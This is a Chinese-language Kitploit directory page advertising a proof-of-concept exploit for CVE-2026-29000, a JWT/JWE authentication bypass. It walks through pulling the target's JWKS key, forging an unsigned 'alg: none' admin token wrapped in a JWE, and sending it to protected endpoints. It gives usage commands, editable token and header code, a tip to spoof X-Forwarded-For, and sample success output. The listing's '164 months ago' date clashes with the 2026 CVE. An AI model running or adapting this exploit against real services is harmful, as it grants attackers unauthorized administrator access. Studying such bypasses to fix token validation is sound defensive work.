Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-29000 — CVE-2026-29000 的 PoC | Kitploit
工具/GitHubGitHub/zf-tm/cve-2026-29000
身份验证与授权加密/解密工具漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubzf-tm/cve-2026-29000

CVE-2026-29000

CVE-2026-29000 的 PoC

查看仓库
164个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

JWT/JWE 认证绕过 PoC

一个概念验证 (PoC) 脚本,演示利用 JSON Web 令牌 (JWT) 和 JSON Web 加密 (JWE) 实现的认证绕过漏洞。该工具通过接受未经验证的 JWT(alg: none)并将其包裹在有效的 JWE 结构中,来利用那些未正确验证令牌算法的环境。

工作原理

该漏洞利用链利用了常见的加密实现缺陷:

  1. 密钥提取: 脚本访问目标公开暴露的 jwks(JSON Web 密钥集)端点,并下载服务器的 RSA 公钥。
  2. 令牌伪造: 它伪造一个未经验证的假 JWT 负载,授予 ROLE_ADMIN 权限。故意将算法头部设置为 "alg": "none"。
  3. JWE 封装: 为了绕过可能拒绝明文或未经验证令牌的初始安全过滤器,它使用服务器自己的公钥加密伪造的 JWT,将其打包成一个有效的 JWE。
  4. 身份验证: 伪造的 JWE 通过 Authorization: Bearer 头部发送到目标受保护的面板。如果服务器解密了 JWE 并盲目信任内部的 JWT 而不验证其签名,则访问被授予。

前提条件

运行脚本前,请确保已安装 Python 3 以及必要的依赖项。

root@kitploit:~
pip install requests jwcrypto

用法

脚本需要两个参数:要测试的目标面板 URL,以及托管公钥的 URL。

root@kitploit:~
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>

自定义利用代码

根据你的目标,你可能需要调整令牌结构或 HTTP 请求以绕过特定的过滤器。

  1. 自定义内部 JWT 头部和负载

如果目标服务器期望 JWT 本身包含特定字段(例如 typ 头部,或负载中的自定义用户 ID),你可以轻松添加它们。

打开 exploit.py 并找到以下部分:

root@kitploit:~
token_header_information = {
    "alg": "none"
}
root@kitploit:~
token_user_information = {
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}

你可以添加任何想要的字段,用逗号分隔。例如,向 JWT 头部添加 typ(类型)和 kid(密钥 ID),并向负载添加自定义电子邮件:

root@kitploit:~
token_header_information = {
    "alg": "none",
    "typ": "JWT",
    "kid": "my-custom-key-id"
}
root@kitploit:~
token_user_information = {
    "sub": "admin",
    "email": "[email protected]",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}
  1. 自定义 HTTP 头部

如果你的目标需要特定的网络头部(例如自定义 User-Agent、绕过头部如 X-Forwarded-For 或 API 密钥),请找到脚本底部的网络请求部分:

root@kitploit:~
custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token
}

像这样添加额外的网络头部:

root@kitploit:~
custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token,
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "X-Forwarded-For": "127.0.0.1",
    "Accept": "application/json"
}

注意:如果你还需要在初始公钥下载时发送这些头部,你可以将相同的字典传递给脚本顶部的 requests.get() 调用。

预期输出

成功时,脚本将输出伪造的令牌以及从受限端点解析的响应,证实绕过成功:

root@kitploit:~
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!

Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...

Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard

SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN

故障排除

  • HTTP 401/403 错误:目标服务器正确验证了签名并拒绝了 alg: none 负载。由于目标是安全的,漏洞利用失败。

  • 连接错误:确保提供的 URL 包含完整的协议(http:// 或 https://),并且目标服务器当前可访问。

  • 依赖项错误:确保已通过 pip 正确安装 jwcrypto。

下载工具